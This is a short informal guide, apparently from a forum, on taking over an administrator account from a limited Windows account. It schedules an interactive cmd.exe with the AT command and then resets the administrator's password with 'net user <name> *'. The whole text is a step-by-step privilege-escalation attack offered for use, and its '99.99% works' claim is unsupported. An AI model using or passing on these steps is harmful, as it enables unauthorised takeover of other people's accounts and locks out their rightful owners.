Crack into admin acc from limited account(99.99% works)

Go to cmd
type AT (time) /interactive “cmd.exe”
enter time in 24hr format
means if you want to enter 5.00pm then enter 17:00
then a new window of cmd will open at specified time
In new window type net(space)user
press enter
after this u will see some names on ur screen
notedown the name of admin acc
then type
net user (name of admin acc u want to crack into) *
e.g if the name of admin acc is john then type
net user john *
then it will ask u for new password
enter password of ur choice
and u got the admin password.......ENJOY!!!